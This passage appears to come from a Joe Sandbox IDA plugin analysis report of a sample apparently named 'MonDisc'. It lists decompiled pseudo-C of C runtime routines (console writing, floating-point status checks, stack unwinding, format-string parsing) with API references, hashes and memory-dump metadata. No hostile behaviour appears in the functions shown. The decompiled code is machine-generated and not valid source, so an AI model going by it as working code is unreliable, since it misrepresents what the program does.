				E00007FF67FF6ED1CEE30(_t91, r12d, _t127,  &(_t204[1]) - _t200, _t171,  &_v104,  &_v72, _t187, __r11);
				asm("movsd xmm0, [eax]");
				goto 0xed1cfb0d;
				if ( *( *((intOrPtr*)(0xed238660 + _t202 * 8)) + 0x38 + _t206 * 8) -  *0x7FF6ED238668 >= 0) goto 0xed1cfad5;
				_t150 = sil;
				if (_t150 == 0) goto 0xed1cfac1;
				if (_t150 == 0) goto 0xed1cfaad;
				if (_t131 - 1 != 1) goto 0xed1cfb12;
				r9d = r14d;
				E00007FF67FF6ED1CF548( *0x7FF6ED238668, r12d, 0xed238660, _t171,  &_v104, _t190, _t187);
				goto 0xed1cfa6a;
				r9d = r14d;
				E00007FF67FF6ED1CF664(r12d, _t127, 0xed238660, _t171,  &_v104, _t190, _t187);
				goto 0xed1cfa6a;
				r9d = r14d;
				E00007FF67FF6ED1CF444( *0x7FF6ED238668, r12d, 0xed238660, _t171,  &_v104, _t190, _t187);
				goto 0xed1cfa6a;
				r8d = r14d;
				_v120 = _v120 & 0xed238660;
				_v104 = 0xed238660;
				_v96 = 0;
				if (WriteFile(??, ??, ??, ??, ??) != 0) goto 0xed1cfb05;
				_t98 = GetLastError();
				_v104 = _t98;
				asm("movsd xmm0, [ebp-0x30]");
				asm("movsd [ebp-0x20], xmm0");
				_t168 = _v88 >> 0x20;
				if (_t98 != 0) goto 0xed1cfb82;
				_t99 = _v88;
				if (_t99 == 0) goto 0xed1cfb52;
				if (_t99 != 5) goto 0xed1cfb45;
				E00007FF67FF6ED184D84(_t168);
				 *_t168 = 9;
				E00007FF67FF6ED184D64(_t168);
				 *_t168 = 5;
				goto 0xed1cf907;
				E00007FF67FF6ED184D14(_v88, _t168, _t171);
				goto 0xed1cf907;
				_t170 =  *((intOrPtr*)(0xed238660 + _t202 * 8));
				if (( *(0xed238660 + 0x38 + _t206 * 8) & 0x00000040) == 0) goto 0xed1cfb6a;
				if ( *_t187 == 0x1a) goto 0xed1cfb89;
				E00007FF67FF6ED184D84(_t170);
				 *0xed238660 = 0x1c;
				E00007FF67FF6ED184D64(_t170);
				 *_t170 =  *_t170 & 0x00000000;
				goto 0xed1cf907;
				goto 0xed1cfb8b;
				return 0;
			}

0x7ff6ed1cf8c0
0x7ff6ed1cf8c0
0x7ff6ed1cf8c0
0x7ff6ed1cf8c0
0x7ff6ed1cf8d9
0x7ff6ed1cf8dc
0x7ff6ed1cf8df
0x7ff6ed1cf8e5
0x7ff6ed1cf8ee
0x7ff6ed1cf8f0
0x7ff6ed1cf8f5
0x7ff6ed1cf8f7
0x7ff6ed1cf8fc
0x7ff6ed1cf902
0x7ff6ed1cf90a
0x7ff6ed1cf91f
0x7ff6ed1cf923
0x7ff6ed1cf936
0x7ff6ed1cf93f
0x7ff6ed1cf947
0x7ff6ed1cf94e
0x7ff6ed1cf94e
0x7ff6ed1cf952
0x7ff6ed1cf95a
0x7ff6ed1cf965
0x7ff6ed1cf972
0x7ff6ed1cf97b
0x7ff6ed1cf981
0x7ff6ed1cf994
0x7ff6ed1cf9a6
0x7ff6ed1cf9c8
0x7ff6ed1cf9d1
0x7ff6ed1cf9d7
0x7ff6ed1cf9de
0x7ff6ed1cf9e4
0x7ff6ed1cf9e8
0x7ff6ed1cf9ec
0x7ff6ed1cf9f2
0x7ff6ed1cfa02
0x7ff6ed1cfa06
0x7ff6ed1cfa0b
0x7ff6ed1cfa12
0x7ff6ed1cfa14
0x7ff6ed1cfa17
0x7ff6ed1cfa1e
0x7ff6ed1cfa32
0x7ff6ed1cfa34
0x7ff6ed1cfa36
0x7ff6ed1cfa42
0x7ff6ed1cfa48
0x7ff6ed1cfa50
0x7ff6ed1cfa53
0x7ff6ed1cfa58
0x7ff6ed1cfa65
0x7ff6ed1cfa6a
0x7ff6ed1cfa71
0x7ff6ed1cfa86
0x7ff6ed1cfa8a
0x7ff6ed1cfa8d
0x7ff6ed1cfa92
0x7ff6ed1cfa97
0x7ff6ed1cfa99
0x7ff6ed1cfaa6
0x7ff6ed1cfaab
0x7ff6ed1cfaad
0x7ff6ed1cfaba
0x7ff6ed1cfabf
0x7ff6ed1cfac1
0x7ff6ed1cface
0x7ff6ed1cfad3
0x7ff6ed1cfae0
0x7ff6ed1cfae3
0x7ff6ed1cfaeb
0x7ff6ed1cfaef
0x7ff6ed1cfafa
0x7ff6ed1cfafc
0x7ff6ed1cfb02
0x7ff6ed1cfb08
0x7ff6ed1cfb0d
0x7ff6ed1cfb16
0x7ff6ed1cfb1c
0x7ff6ed1cfb1e
0x7ff6ed1cfb23
0x7ff6ed1cfb28
0x7ff6ed1cfb2a
0x7ff6ed1cfb2f
0x7ff6ed1cfb35
0x7ff6ed1cfb3a
0x7ff6ed1cfb40
0x7ff6ed1cfb48
0x7ff6ed1cfb4d
0x7ff6ed1cfb59
0x7ff6ed1cfb63
0x7ff6ed1cfb68
0x7ff6ed1cfb6a
0x7ff6ed1cfb6f
0x7ff6ed1cfb75
0x7ff6ed1cfb7a
0x7ff6ed1cfb7d
0x7ff6ed1cfb87
0x7ff6ed1cfba2

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6ED1CF902
GetConsoleMode.KERNEL32 ref: 00007FF6ED1CF9C0
GetLastError.KERNEL32 ref: 00007FF6ED1CFA4A

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 21bb5d16e81edcf9298d52ff37a1d8b71ff19f4ada13a5262b45af83badf7461
Instruction ID: 292a52d0b1d619097535b06a918fb44f33f1770bddfa6329675deaf7b14b338b
Opcode Fuzzy Hash: 21bb5d16e81edcf9298d52ff37a1d8b71ff19f4ada13a5262b45af83badf7461
Instruction Fuzzy Hash: 3381B023E19A9389FB189F6084507FC6661FB84B94F444132DE0E9B791EF3EE441C31A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED1D1614 Relevance: 7.7, APIs: 5, Instructions: 158
COMMON

Download Yara Rule

C-Code - Quality: 23%

			E00007FF67FF6ED1D1614(signed int __ecx, long long __rbx, signed int __rcx, void* __rdx, signed int __r8, char _a8, long long _a16, unsigned int _a32, unsigned int _a36, signed short _a38) {
				void* _t31;
				signed short _t32;
				unsigned int _t35;
				unsigned int _t36;
				signed int _t41;
				signed int _t42;
				signed int _t43;
				signed int _t44;
				signed int _t45;
				void* _t53;
				unsigned int _t54;
				signed int _t68;
				signed int _t69;
				void* _t72;
				signed int _t73;
				void* _t74;
				signed int _t78;
				signed int _t81;
				signed long long _t85;
				void* _t102;
				void* _t103;

				_a16 = __rbx;
				r14d = 0;
				asm("movaps [esp+0x20], xmm6");
				_t41 = __ecx & 0x0000001f;
				r15d = __ecx;
				_t2 = _t103 + 0x10; // 0x10
				r13d = _t2;
				if ((__ecx & 0x00000008) == 0) goto 0xed1d165d;
				if (r12b >= 0) goto 0xed1d165d;
				E00007FF67FF6ED1D0F1C(_t41, __rcx);
				_t42 = _t41 & 0xfffffff7;
				goto 0xed1d183f;
				_t68 = 0x00000004 & r15b;
				if (_t68 == 0) goto 0xed1d167b;
				asm("dec ecx");
				if (_t68 >= 0) goto 0xed1d167b;
				E00007FF67FF6ED1D0F1C(_t42, __rcx);
				_t43 = _t42 & 0xfffffffb;
				goto 0xed1d183f;
				_t69 = sil & r15b;
				if (_t69 == 0) goto 0xed1d173e;
				asm("dec ecx");
				if (_t69 >= 0) goto 0xed1d173e;
				_t31 = E00007FF67FF6ED1D0F1C(_t43, __rcx);
				_t85 = __r8 & __rcx;
				if (_t69 == 0) goto 0xed1d1709;
				if (_t85 == 0x2000) goto 0xed1d16f0;
				if (_t85 == 0x4000) goto 0xed1d16d7;
				_t72 = _t85 - __rcx;
				if (_t72 != 0) goto 0xed1d1736;
				asm("movsd xmm0, [ebp]");
				asm("comisd xmm0, [0x43b95]");
				asm("movsd xmm0, [0x4b2d5]");
				if (_t72 > 0) goto 0xed1d1731;
				goto 0xed1d172a;
				asm("movsd xmm0, [ebp]");
				asm("comisd xmm0, [0x43b7c]");
				if (_t72 > 0) goto 0xed1d1718;
				asm("movsd xmm0, [0x4b2ba]");
				goto 0xed1d172a;
				asm("movsd xmm0, [ebp]");
				asm("comisd xmm0, [0x43b63]");
				if (_t72 <= 0) goto 0xed1d1722;
				asm("movsd xmm0, [0x4b2a1]");
				goto 0xed1d1731;
				asm("movsd xmm0, [ebp]");
				asm("comisd xmm0, [0x43b4a]");
				if (_t72 <= 0) goto 0xed1d1722;
				asm("movsd xmm0, [0x4b278]");
				goto 0xed1d1731;
				asm("movsd xmm0, [0x4b26e]");
				asm("xorps xmm0, [0x39f9f]");
				asm("movsd [ebp], xmm0");
				_t44 = _t43 & 0xfffffffe;
				goto 0xed1d183f;
				_t73 = r15b & 0x00000002;
				if (_t73 == 0) goto 0xed1d183f;
				asm("dec ecx");
				if (_t73 >= 0) goto 0xed1d183f;
				asm("movsd xmm0, [edx]");
				asm("xorps xmm6, xmm6");
				asm("ucomisd xmm0, xmm6");
				if (_t73 != 0) goto 0xed1d1771;
				if (_t73 != 0) goto 0xed1d1771;
				goto 0xed1d1830;
				_t32 = E00007FF67FF6ED1D1D3C(_t31, _t73,  &_a8);
				_t53 = _a8 + 0xfffffa00;
				asm("movsd [esp+0x88], xmm0");
				_t74 = _t53 - 0xfffffbce;
				if (_t74 >= 0) goto 0xed1d17a1;
				asm("mulsd xmm0, xmm6");
				goto 0xed1d182b;
				r8d = r14d;
				asm("comisd xmm6, xmm0");
				r8b = _t74 > 0;
				_a38 = _t32 & 0x0000000f | r13w;
				if (_t53 - 0xfffffc03 >= 0) goto 0xed1d1816;
				_t35 = _a32;
				_t54 = _a36;
				if ((sil & _t35) == 0) goto 0xed1d17ef;
				_t64 =  ==  ? 1 : 1;
				_t36 = _t35 >> 1;
				_a32 = _t36;
				_t78 = sil & _t54;
				if (_t78 == 0) goto 0xed1d1808;
				asm("bts eax, 0x1f");
				_a32 = _t36;
				if (_t78 != 0) goto 0xed1d17e5;
				_a36 = _t54 >> 1;
				asm("movsd xmm0, [esp+0x88]");
				if (r8d == 0) goto 0xed1d182b;
				asm("xorps xmm0, [0x39ea5]");
				asm("movsd [ebp], xmm0");
				_t80 =  ==  ? 1 : 1;
				if (( ==  ? 1 : 1) == 0) goto 0xed1d183c;
				E00007FF67FF6ED1D0F1C(_t44, _t102);
				_t45 = _t44 & 0xfffffffd;
				_t81 = r13b & r15b;
				if (_t81 == 0) goto 0xed1d1858;
				asm("dec ecx");
				if (_t81 >= 0) goto 0xed1d1858;
				E00007FF67FF6ED1D0F1C(_t45, _t102);
				asm("movaps xmm6, [esp+0x20]");
				r14b = (_t45 & 0xffffffef) == 0;
				return r14d;
			}

0x7ff6ed1d1614
0x7ff6ed1d1628
0x7ff6ed1d162b
0x7ff6ed1d1635
0x7ff6ed1d163b
0x7ff6ed1d163e
0x7ff6ed1d163e
0x7ff6ed1d1645
0x7ff6ed1d164a
0x7ff6ed1d1650
0x7ff6ed1d1655
0x7ff6ed1d1658
0x7ff6ed1d1662
0x7ff6ed1d1665
0x7ff6ed1d1667
0x7ff6ed1d166c
0x7ff6ed1d166e
0x7ff6ed1d1673
0x7ff6ed1d1676
0x7ff6ed1d1680
0x7ff6ed1d1683
0x7ff6ed1d1689
0x7ff6ed1d168e
0x7ff6ed1d1697
0x7ff6ed1d16a4
0x7ff6ed1d16a7
0x7ff6ed1d16af
0x7ff6ed1d16b7
0x7ff6ed1d16b9
0x7ff6ed1d16bc
0x7ff6ed1d16be
0x7ff6ed1d16c3
0x7ff6ed1d16cb
0x7ff6ed1d16d3
0x7ff6ed1d16d5
0x7ff6ed1d16d7
0x7ff6ed1d16dc
0x7ff6ed1d16e4
0x7ff6ed1d16e6
0x7ff6ed1d16ee
0x7ff6ed1d16f0
0x7ff6ed1d16f5
0x7ff6ed1d16fd
0x7ff6ed1d16ff
0x7ff6ed1d1707
0x7ff6ed1d1709
0x7ff6ed1d170e
0x7ff6ed1d1716
0x7ff6ed1d1718
0x7ff6ed1d1720
0x7ff6ed1d1722
0x7ff6ed1d172a
0x7ff6ed1d1731
0x7ff6ed1d1736
0x7ff6ed1d1739
0x7ff6ed1d173e
0x7ff6ed1d1742
0x7ff6ed1d1748
0x7ff6ed1d174d
0x7ff6ed1d1753
0x7ff6ed1d175d
0x7ff6ed1d1762
0x7ff6ed1d1766
0x7ff6ed1d1768
0x7ff6ed1d176c
0x7ff6ed1d1776
0x7ff6ed1d177f
0x7ff6ed1d1785
0x7ff6ed1d178e
0x7ff6ed1d1794
0x7ff6ed1d1796
0x7ff6ed1d179c
0x7ff6ed1d17a9
0x7ff6ed1d17ac
0x7ff6ed1d17b0
0x7ff6ed1d17c0
0x7ff6ed1d17ce
0x7ff6ed1d17d0
0x7ff6ed1d17de
0x7ff6ed1d17e8
0x7ff6ed1d17ec
0x7ff6ed1d17ef
0x7ff6ed1d17f1
0x7ff6ed1d17f8
0x7ff6ed1d17fb
0x7ff6ed1d17fd
0x7ff6ed1d1801
0x7ff6ed1d180d
0x7ff6ed1d180f
0x7ff6ed1d1816
0x7ff6ed1d1822
0x7ff6ed1d1824
0x7ff6ed1d182b
0x7ff6ed1d1830
0x7ff6ed1d1832
0x7ff6ed1d1837
0x7ff6ed1d183c
0x7ff6ed1d183f
0x7ff6ed1d1842
0x7ff6ed1d1844
0x7ff6ed1d1849
0x7ff6ed1d1850
0x7ff6ed1d1858
0x7ff6ed1d1864
0x7ff6ed1d187a

APIs

_set_statfp.LIBCMT ref: 00007FF6ED1D1650
_set_statfp.LIBCMT ref: 00007FF6ED1D166E
_set_statfp.LIBCMT ref: 00007FF6ED1D1697
_set_statfp.LIBCMT ref: 00007FF6ED1D1850

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 2220e806413afc76e163cbf698f7b7d258190d93046702707facc51bf7b06a9f
Instruction ID: feecc3c2021cdd5f4409e35c7093dab8e1630a59f4403fa7a265dc1df3d21775
Opcode Fuzzy Hash: 2220e806413afc76e163cbf698f7b7d258190d93046702707facc51bf7b06a9f
Instruction Fuzzy Hash: AA51C527E0C94746F7229B34E4503FA6261BF51351F548235EA5EA75E0FF3EA4C28E0A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED101000 Relevance: 7.6, APIs: 5, Instructions: 74COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6ED101058
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6ED101073
RtlVirtualUnwind.KERNEL32 ref: 00007FF6ED1010B3
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6ED1010D3
RtlRestoreContext.KERNEL32 ref: 00007FF6ED101110

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: ContextEntryFunctionLookup$CaptureRestoreUnwindVirtual
String ID:
API String ID: 3115360832-0
Opcode ID: 057d8fa23ac03b650d3b224590ec57b1560f4d8c507465ae7ddcd15c43ac5aa1
Instruction ID: 37dbeca2466bfc42e49d97007aa4d10e9b219b783ca4ac70008a5c91e037e914
Opcode Fuzzy Hash: 057d8fa23ac03b650d3b224590ec57b1560f4d8c507465ae7ddcd15c43ac5aa1
Instruction Fuzzy Hash: A0313C33608B8286DB64CF55E0803EAB3A1FB88780F444136DB8D83658EF3DD654CB04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED1D0FB8 Relevance: 7.6, APIs: 5, Instructions: 56
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E00007FF67FF6ED1D0FB8(signed int __ecx, long long __rbx, void* __rdx, long long __rsi, long long _a8, long long _a16) {
				signed int _t27;
				signed int _t28;
				signed int _t29;
				signed int _t30;
				signed int _t31;
				signed int _t42;
				signed int _t43;
				signed int _t44;
				signed int _t46;
				void* _t51;

				_a8 = __rbx;
				_a16 = __rsi;
				_t27 = __ecx & 0x0000001f;
				if ((__ecx & 0x00000008) == 0) goto 0xed1d0fea;
				if (sil >= 0) goto 0xed1d0fea;
				E00007FF67FF6ED1D0F1C(_t27, _t51);
				_t28 = _t27 & 0xfffffff7;
				goto 0xed1d1041;
				_t42 = 0x00000004 & dil;
				if (_t42 == 0) goto 0xed1d1005;
				asm("dec eax");
				if (_t42 >= 0) goto 0xed1d1005;
				E00007FF67FF6ED1D0F1C(_t28, _t51);
				_t29 = _t28 & 0xfffffffb;
				goto 0xed1d1041;
				_t43 = dil & 0x00000001;
				if (_t43 == 0) goto 0xed1d1021;
				asm("dec eax");
				if (_t43 >= 0) goto 0xed1d1021;
				E00007FF67FF6ED1D0F1C(_t29, _t51);
				_t30 = _t29 & 0xfffffffe;
				goto 0xed1d1041;
				_t44 = dil & 0x00000002;
				if (_t44 == 0) goto 0xed1d1041;
				asm("dec eax");
				if (_t44 >= 0) goto 0xed1d1041;
				if ((dil & 0x00000010) == 0) goto 0xed1d103e;
				E00007FF67FF6ED1D0F1C(_t30, _t51);
				_t31 = _t30 & 0xfffffffd;
				_t46 = dil & 0x00000010;
				if (_t46 == 0) goto 0xed1d105b;
				asm("dec eax");
				if (_t46 >= 0) goto 0xed1d105b;
				E00007FF67FF6ED1D0F1C(_t31, _t51);
				return 0 | (_t31 & 0xffffffef) == 0x00000000;
			}

0x7ff6ed1d0fb8
0x7ff6ed1d0fbd
0x7ff6ed1d0fcc
0x7ff6ed1d0fd4
0x7ff6ed1d0fd9
0x7ff6ed1d0fe0
0x7ff6ed1d0fe5
0x7ff6ed1d0fe8
0x7ff6ed1d0fef
0x7ff6ed1d0ff2
0x7ff6ed1d0ff4
0x7ff6ed1d0ff9
0x7ff6ed1d0ffb
0x7ff6ed1d1000
0x7ff6ed1d1003
0x7ff6ed1d1005
0x7ff6ed1d1009
0x7ff6ed1d100b
0x7ff6ed1d1010
0x7ff6ed1d1017
0x7ff6ed1d101c
0x7ff6ed1d101f
0x7ff6ed1d1021
0x7ff6ed1d1025
0x7ff6ed1d1027
0x7ff6ed1d102c
0x7ff6ed1d1032
0x7ff6ed1d1039
0x7ff6ed1d103e
0x7ff6ed1d1041
0x7ff6ed1d1045
0x7ff6ed1d1047
0x7ff6ed1d104c
0x7ff6ed1d1053
0x7ff6ed1d1071

APIs

_set_statfp.LIBCMT ref: 00007FF6ED1D0FE0
_set_statfp.LIBCMT ref: 00007FF6ED1D0FFB
_set_statfp.LIBCMT ref: 00007FF6ED1D1017
_set_statfp.LIBCMT ref: 00007FF6ED1D1053

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: b279a170408d618237bddf6b9ec99c878b24dd9d163caff4e822d6b1485b2f82
Instruction ID: 610a19641a09010f544b2c458a4edc920041621e0d4ad8e7764357caa1740a29
Opcode Fuzzy Hash: b279a170408d618237bddf6b9ec99c878b24dd9d163caff4e822d6b1485b2f82
Instruction Fuzzy Hash: 65119173E5CA8302F75421A4E4963F911416F59376E140A38EA7E872D6EF3EB8C1490B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED18EEF4 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 190
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 75%

			E00007FF67FF6ED18EEF4(signed int __edi, signed short __rbx, void* __rcx, signed short __rdi, signed short __rsi, signed short __rbp, void* _a8, void* _a16, void* _a24, void* _a32) {
				intOrPtr _t71;
				signed int _t72;
				intOrPtr _t81;
				signed int _t93;
				signed int _t96;
				signed int _t106;
				signed int _t108;
				intOrPtr _t120;
				signed short* _t140;
				signed short* _t141;
				signed short* _t143;
				void* _t145;
				void* _t155;
				signed int* _t161;
				signed short* _t165;
				void* _t168;
				void* _t169;
				void* _t171;
				void* _t174;
				signed int* _t175;

				_t140 = _t165;
				_t140[4] = __rbx;
				_t140[8] = __rbp;
				_t140[0xc] = __rsi;
				_t140[0x10] = __rdi;
				_t108 = __edi | 0xffffffff;
				_t145 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x468)) == __rbp) goto 0xed18f17a;
				if ( *(__rcx + 0x18) != __rbp) goto 0xed18ef43;
				E00007FF67FF6ED184D84(_t140);
				 *_t140 = 0x16;
				E00007FF67FF6ED1C599C();
				goto 0xed18f191;
				r12d = 0x20;
				 *((intOrPtr*)(__rcx + 0x478)) =  *((intOrPtr*)(__rcx + 0x478)) + 1;
				_t71 =  *((intOrPtr*)(__rcx + 0x478));
				if (_t71 == 3) goto 0xed18f18e;
				if (_t71 != 2) goto 0xed18ef77;
				if ( *((intOrPtr*)(__rcx + 0x47c)) == 1) goto 0xed18f18e;
				_t141 =  *((intOrPtr*)(__rcx + 0x480));
				_t175 = __rcx + 0x34;
				_t161 = __rcx + 0x38;
				 *((intOrPtr*)(__rcx + 0x47c)) = 0;
				 *(__rcx + 0xde8) = _t108;
				 *(__rcx + 0xdec) = _t108;
				 *_t175 = 0;
				 *_t161 = 0;
				 *(__rcx + 0x18) = _t141;
				 *((intOrPtr*)(__rcx + 0x50)) = 0;
				 *((intOrPtr*)(__rcx + 0x2c)) = 0;
				_t72 =  *_t141 & 0x0000ffff;
				 *(__rcx + 0x42) = _t72;
				if (_t72 == 0) goto 0xed18f164;
				 *(__rcx + 0x18) =  &(( *(__rcx + 0x18))[1]);
				if ( *((intOrPtr*)(__rcx + 0x28)) < 0) goto 0xed18f169;
				if (( *(__rcx + 0x42) & 0xffff) - r12w - 0x5a > 0) goto 0xed18efe4;
				_t142 = __rcx - 0x20;
				goto 0xed18efe6;
				 *((intOrPtr*)(__rcx + 0x2c)) =  *((intOrPtr*)(0xed211bc0 + (__rcx - 0x20) * 8));
				if (E00007FF67FF6ED19A65C(__rcx, _t155) == 0) goto 0xed18f18a;
				_t81 =  *((intOrPtr*)(_t145 + 0x2c));
				if (_t81 == 8) goto 0xed18f17a;
				_t120 = _t81;
				if (_t120 == 0) goto 0xed18f144;
				if (_t120 == 0) goto 0xed18f12f;
				if (_t120 == 0) goto 0xed18f0ef;
				if (_t120 == 0) goto 0xed18f0ad;
				if (_t120 == 0) goto 0xed18f0a6;
				if (_t120 == 0) goto 0xed18f064;
				if (_t120 == 0) goto 0xed18f057;
				if (_t81 - 0xfffffffffffffffc != 1) goto 0xed18f18a;
				E00007FF67FF6ED1935E8(_t145, _t145, _t155, __rbp, _t174);
				goto 0xed18f14c;
				E00007FF67FF6ED191C34(_t142, _t145);
				goto 0xed18f14c;
				if ( *(_t145 + 0x42) == 0x2a) goto 0xed18f07b;
				E00007FF67FF6ED18DBB0(_t142, _t145, _t145, _t161, __rdi, _t161, _t171, _t169);
				goto 0xed18f14c;
				if (E00007FF67FF6ED19A018(_t142, _t145, _t145, _t161, _t168) == 0) goto 0xed18f18a;
				if ( *((intOrPtr*)(_t145 + 0x478)) != 1) goto 0xed18f09e;
				if ( *((intOrPtr*)(_t145 + 0x47c)) != 1) goto 0xed18f150;
				if ( *_t161 >= 0) goto 0xed18f0eb;
				 *_t161 = _t108;
				goto 0xed18f0eb;
				 *_t161 = 0;
				goto 0xed18f150;
				if ( *(_t145 + 0x42) == 0x2a) goto 0xed18f0bc;
				goto 0xed18f071;
				if (E00007FF67FF6ED199B68(_t142, _t145, _t145, _t161, _t168) == 0) goto 0xed18f18a;
				if ( *((intOrPtr*)(_t145 + 0x478)) != 1) goto 0xed18f0db;
				if ( *((intOrPtr*)(_t145 + 0x47c)) != 1) goto 0xed18f150;
				_t93 =  *_t175;
				if (_t93 >= 0) goto 0xed18f0eb;
				 *(_t145 + 0x30) =  *(_t145 + 0x30) | 0x00000004;
				 *_t175 =  ~_t93;
				goto 0xed18f14c;
				_t96 =  *(_t145 + 0x42) & 0x0000ffff;
				if (_t96 == r12w) goto 0xed18f129;
				if (_t96 == 0x23) goto 0xed18f123;
				if (_t96 == 0x2b) goto 0xed18f11d;
				if (_t96 == 0x2d) goto 0xed18f117;
				if (_t96 != 0x30) goto 0xed18f150;
				 *(_t145 + 0x30) =  *(_t145 + 0x30) | 0x00000008;
				goto 0xed18f150;
				 *(_t145 + 0x30) =  *(_t145 + 0x30) | 0x00000004;
				goto 0xed18f150;
				 *(_t145 + 0x30) =  *(_t145 + 0x30) | 0x00000001;
				goto 0xed18f150;
				 *(_t145 + 0x30) =  *(_t145 + 0x30) | r12d;
				goto 0xed18f150;
				 *(_t145 + 0x30) =  *(_t145 + 0x30) | 0x00000002;
				goto 0xed18f150;
				 *_t175 = 0;
				 *((intOrPtr*)(_t145 + 0x40)) = bpl;
				 *(_t145 + 0x30) = 0;
				 *_t161 = _t108;
				 *((intOrPtr*)(_t145 + 0x3c)) = 0;
				 *((intOrPtr*)(_t145 + 0x54)) = bpl;
				goto 0xed18f150;
				E00007FF67FF6ED190430(_t145);
				if (1 == 0) goto 0xed18f18a;
				_t143 =  *((intOrPtr*)(_t145 + 0x18));
				_t106 =  *_t143 & 0x0000ffff;
